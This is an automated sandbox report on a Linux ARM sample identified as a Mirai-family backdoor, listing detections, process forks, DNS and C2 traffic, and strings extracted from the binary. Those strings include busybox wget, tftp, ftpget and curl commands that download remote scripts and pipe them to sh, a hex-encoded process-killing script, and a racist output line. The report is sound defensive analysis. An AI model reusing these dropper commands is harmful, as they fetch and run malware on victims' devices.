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Linux Analysis Report
nabarm.elf

Overview

General Information

Sample name:	nabarm.elf
Analysis ID:	1643372
MD5:	723eee42687834b548071e1820c5abd9
SHA1:	39663724e6f367a7083fa044e3c8bd2b253f861f
SHA256:	8dc62990019bc0ae9b6db5aa7269b8f1dff78561cb4d7804b9c4337db572511f
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643372
Start date and time:	2025-03-19 19:51:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabarm.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/65@35/0

Runtime Messages

Command:	/tmp/nabarm.elf
PID:	5492
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

nabarm.elf (PID: 5492, Parent: 5411, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nabarm.elf

nabarm.elf New Fork (PID: 5494, Parent: 5492)

nabarm.elf New Fork (PID: 5496, Parent: 5494)

nabarm.elf New Fork (PID: 5498, Parent: 5494)

nabarm.elf New Fork (PID: 5499, Parent: 5494)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.14:51216 -> 185.220.204.227:1440
Source: global traffic	TCP traffic: 192.168.2.14:36082 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.14:56604 -> 104.248.47.182:1440

Source: /tmp/nabarm.elf (PID: 5492)

Socket: 127.0.0.1:39148

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 124.236.221.115
Source: unknown	TCP traffic detected without corresponding DNS query: 124.236.221.115
Source: unknown	TCP traffic detected without corresponding DNS query: 78.24.90.224
Source: unknown	TCP traffic detected without corresponding DNS query: 78.24.90.224
Source: unknown	TCP traffic detected without corresponding DNS query: 206.84.253.43
Source: unknown	TCP traffic detected without corresponding DNS query: 4.28.64.64
Source: unknown	TCP traffic detected without corresponding DNS query: 206.84.253.43
Source: unknown	TCP traffic detected without corresponding DNS query: 201.213.193.47
Source: unknown	TCP traffic detected without corresponding DNS query: 4.28.64.64
Source: unknown	TCP traffic detected without corresponding DNS query: 60.197.49.188
Source: unknown	TCP traffic detected without corresponding DNS query: 201.213.193.47
Source: unknown	TCP traffic detected without corresponding DNS query: 145.239.170.95
Source: unknown	TCP traffic detected without corresponding DNS query: 60.197.49.188
Source: unknown	TCP traffic detected without corresponding DNS query: 219.161.246.73
Source: unknown	TCP traffic detected without corresponding DNS query: 145.239.170.95
Source: unknown	TCP traffic detected without corresponding DNS query: 219.161.246.73
Source: unknown	TCP traffic detected without corresponding DNS query: 5.239.150.209
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.130.190
Source: unknown	TCP traffic detected without corresponding DNS query: 5.239.150.209
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.130.190
Source: unknown	TCP traffic detected without corresponding DNS query: 144.63.46.226
Source: unknown	TCP traffic detected without corresponding DNS query: 161.186.3.149
Source: unknown	TCP traffic detected without corresponding DNS query: 144.63.46.226
Source: unknown	TCP traffic detected without corresponding DNS query: 161.186.3.149
Source: unknown	TCP traffic detected without corresponding DNS query: 67.8.165.142
Source: unknown	TCP traffic detected without corresponding DNS query: 67.8.165.142
Source: unknown	TCP traffic detected without corresponding DNS query: 17.192.172.69
Source: unknown	TCP traffic detected without corresponding DNS query: 171.221.25.12
Source: unknown	TCP traffic detected without corresponding DNS query: 17.192.172.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.240.182
Source: unknown	TCP traffic detected without corresponding DNS query: 171.221.25.12
Source: unknown	TCP traffic detected without corresponding DNS query: 158.250.69.145
Source: unknown	TCP traffic detected without corresponding DNS query: 197.254.240.182
Source: unknown	TCP traffic detected without corresponding DNS query: 97.41.77.14
Source: unknown	TCP traffic detected without corresponding DNS query: 158.250.69.145
Source: unknown	TCP traffic detected without corresponding DNS query: 86.146.11.12
Source: unknown	TCP traffic detected without corresponding DNS query: 97.41.77.14
Source: unknown	TCP traffic detected without corresponding DNS query: 178.172.228.79
Source: unknown	TCP traffic detected without corresponding DNS query: 86.146.11.12
Source: unknown	TCP traffic detected without corresponding DNS query: 178.172.228.79
Source: unknown	TCP traffic detected without corresponding DNS query: 23.73.154.231
Source: unknown	TCP traffic detected without corresponding DNS query: 23.73.154.231
Source: unknown	TCP traffic detected without corresponding DNS query: 141.24.6.236
Source: unknown	TCP traffic detected without corresponding DNS query: 141.24.6.236
Source: unknown	TCP traffic detected without corresponding DNS query: 145.243.72.99
Source: unknown	TCP traffic detected without corresponding DNS query: 145.243.72.99
Source: unknown	TCP traffic detected without corresponding DNS query: 107.238.104.229
Source: unknown	TCP traffic detected without corresponding DNS query: 158.170.146.215
Source: unknown	TCP traffic detected without corresponding DNS query: 107.238.104.229
Source: unknown	TCP traffic detected without corresponding DNS query: 81.133.195.38

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: nabarm.elf	String found in binary or memory: http:///curl.sh
Source: nabarm.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/65@35/0

Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3760/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1583/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/2672/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3759/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1577/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3757/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/917/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3758/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/13/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/14/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/15/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/16/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/17/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/18/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/19/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1593/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/240/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/120/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3094/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/121/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/242/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3406/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/122/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/243/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/2/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/123/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/244/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1589/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/124/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/245/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1588/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/125/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/4/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/246/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3402/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/126/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/5/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/247/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/127/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/6/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/248/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/128/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/7/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/249/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/8/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/129/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/800/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/9/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/801/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/803/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/20/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/806/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/21/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/807/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/928/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/22/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/23/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/24/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/25/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/26/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/27/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/28/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/29/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3420/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/490/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/250/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/130/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/251/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/131/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/252/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/132/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/253/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/254/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/255/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/135/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/256/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1599/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/257/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/378/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/258/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3412/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/259/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/30/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/35/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/3671/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/1371/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/260/comm	Jump to behavior
Source: /tmp/nabarm.elf (PID: 5492)	File opened: /proc/261/comm	Jump to behavior

Source: /tmp/nabarm.elf (PID: 5492)

Queries kernel information via 'uname':

Jump to behavior

Source: nabarm.elf, 5492.1.00007ffd5e07a000.00007ffd5e09b000.rw-.sdmp, nabarm.elf, 5496.1.00007ffd5e07a000.00007ffd5e09b000.rw-.sdmp	Binary or memory string: hx86_64/usr/bin/qemu-arm/tmp/nabarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabarm.elf
Source: nabarm.elf, 5492.1.00005604da128000.00005604da276000.rw-.sdmp, nabarm.elf, 5496.1.00005604da128000.00005604da276000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nabarm.elf, 5492.1.00005604da128000.00005604da276000.rw-.sdmp, nabarm.elf, 5496.1.00005604da128000.00005604da276000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: nabarm.elf, 5492.1.00007ffd5e07a000.00007ffd5e09b000.rw-.sdmp, nabarm.elf, 5496.1.00007ffd5e07a000.00007ffd5e09b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
nabarm.elf	28%	Virustotal		Browse
nabarm.elf	31%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	104.248.47.182	true	false	high
ohlookthereismyboats.geek	185.220.204.227	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabarm.elf	false		high
http:///curl.sh	nabarm.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.92.226.185	unknown	United States	14618	AMAZON-AESUS	false
211.97.52.226	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
5.239.150.209	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
43.83.114.182	unknown	Japan	4249	LILLY-ASUS	false
62.97.101.235	unknown	Spain	8220	COLTCOLTTechnologyServicesGroupLimitedGB	false
211.247.98.213	unknown	Korea Republic of	9756	CHEONANVITSSEN-AS-KRTbroadChungbuBroadcastingCoKR	false
75.3.56.186	unknown	United States	16509	AMAZON-02US	false
165.67.235.157	unknown	unknown	2642	LEG-CA-GOVUS	false
44.32.1.208	unknown	United States	7377	UCSDUS	false
104.20.72.133	unknown	United States	13335	CLOUDFLARENETUS	false
5.63.78.215	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
107.170.130.190	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
47.141.7.255	unknown	United States	5650	FRONTIER-FRTRUS	false
46.243.94.74	unknown	Germany	45012	CLOUDPITDE	false
146.111.235.154	unknown	United States	31822	CITY-UNIVERSITY-OF-NEW-YORKUS	false
142.162.210.169	unknown	Canada	855	CANET-ASN-4CA	false
137.155.200.27	unknown	United States	1411	CHRISTOPHER-NEWPORT-UNIVERSITYUS	false
108.36.85.79	unknown	United States	701	UUNETUS	false
125.206.58.155	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
156.141.222.68	unknown	United States	29975	VODACOM-ZA	false
196.201.233.100	unknown	South Africa	327901	Level7-ASZA	false
63.19.226.50	unknown	United States	701	UUNETUS	false
16.111.115.209	unknown	United States	unknown	unknown	false
172.211.141.180	unknown	United States	18747	IFX18747US	false
146.56.223.125	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
1.44.192.246	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
80.80.200.163	unknown	Russian Federation	40993	ALTAIRTULA-ASformerLLCAltairRU	false
42.178.246.10	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
171.32.156.149	unknown	Sweden	9874	STARHUB-MOBILEStarHubLtdSG	false
121.200.135.121	unknown	Japan	18144	AS-ENECOMEnergiaCommunicationsIncJP	false
137.252.42.7	unknown	United States	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
111.247.149.195	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
124.83.62.162	unknown	Philippines	9299	IPG-AS-APPhilippineLongDistanceTelephoneCompanyPH	false
151.193.185.250	unknown	United States	6334	ASN-TSGUS	false
183.86.172.21	unknown	Japan	10010	TOKAITOKAICommunicationsCorporationJP	false
170.44.254.175	unknown	United States	264957	CoopercitrusCooperativadeProdutoresRuraisBR	false
138.101.90.172	unknown	Japan	9593	NIKKEINikkeiIncJP	false
112.190.228.129	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
152.173.191.64	unknown	Chile	7418	TELEFONICACHILESACL	false
191.188.192.212	unknown	Brazil	28573	CLAROSABR	false
12.54.109.118	unknown	United States	7018	ATT-INTERNET4US	false
11.196.178.208	unknown	United States	3356	LEVEL3US	false
32.27.63.64	unknown	United States	2686	ATGS-MMD-ASUS	false
83.179.9.169	unknown	Sweden	1257	TELE2EU	false
103.206.86.73	unknown	United States	54578	FIBERCOMMUS	false
28.111.228.135	unknown	United States	7922	COMCAST-7922US	false
128.93.196.81	unknown	France	2200	FR-RENATERReseauNationaldetelecommunicationspourlaTec	false
178.98.22.240	unknown	United Kingdom	12576	EELtdGB	false
31.74.127.188	unknown	United Kingdom	12576	EELtdGB	false
211.64.213.132	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
203.69.91.239	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
68.189.13.147	unknown	United States	20115	CHARTER-20115US	false
37.93.185.24	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
141.4.194.217	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
163.42.7.141	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
97.41.77.14	unknown	United States	22394	CELLCOUS	false
80.226.248.85	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
198.28.131.178	unknown	United States	20402	OSRAM-SYLVANIAUS	false
46.191.7.45	unknown	Belarus	44087	BEST-ASBY	false
168.239.254.178	unknown	United States	26057	MEDIAOCEANUS	false
49.27.191.92	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
171.29.68.228	unknown	United Kingdom	34457	AMB-GENERALIDE	false
124.236.221.115	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.30.134.98	unknown	United States	34542	SAFRANHE-ASFR	false
3.202.20.240	unknown	United States	16509	AMAZON-02US	false
181.158.97.18	unknown	Colombia	26611	COMCELSACO	false
190.187.191.52	unknown	Peru	19180	AMERICATELPERUSAPE	false
83.132.45.193	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
52.29.49.25	unknown	United States	16509	AMAZON-02US	false
219.146.231.176	unknown	China	17633	CHINATELECOM-SD-AS-APASNforShandongProvincialNetofCT	false
15.177.83.186	unknown	United States	16509	AMAZON-02US	false
98.185.193.203	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	false
39.99.175.227	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
171.59.17.179	unknown	India	9874	STARHUB-MOBILEStarHubLtdSG	false
15.106.108.100	unknown	United States	13979	ATT-IPFRUS	false
77.1.163.232	unknown	Germany	6805	TDDE-ASN1DE	false
195.118.38.35	unknown	European Union	5617	TPNETPL	false
107.240.168.171	unknown	United States	7018	ATT-INTERNET4US	false
178.245.15.100	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
18.209.213.168	unknown	United States	14618	AMAZON-AESUS	false
193.225.83.154	unknown	Hungary	1955	HBONE-ASHUNGARNETHU	false
97.81.226.107	unknown	United States	20115	CHARTER-20115US	false
35.23.50.47	unknown	United States	36375	UMICH-AS-5US	false
6.22.34.103	unknown	United States	3356	LEVEL3US	false
115.64.76.172	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
91.208.121.149	unknown	Russian Federation	47740	UBRD-ASRU	false
180.61.88.42	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
143.137.166.103	unknown	Honduras	263740	CorporacionLaceibanetsocietyHN	false
12.45.175.208	unknown	United States	7018	ATT-INTERNET4US	false
203.151.3.1	unknown	Thailand	4618	INET-TH-ASInternetThailandCompanyLimitedTH	false
